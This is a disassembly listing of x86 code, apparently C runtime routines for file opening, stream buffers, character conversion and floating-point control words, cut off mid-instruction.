loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26E08DCh mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2610000h test eax, eax jnz short loc_423C11 push esi call near ptr 26408DCh nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2660882h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 25F0000h nop test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 2600000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2600000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 27F0000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 27F0000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 25F0000h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 27E1128h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 nop call near ptr 27F0000h test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 call near ptr 27F0000h nop test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, 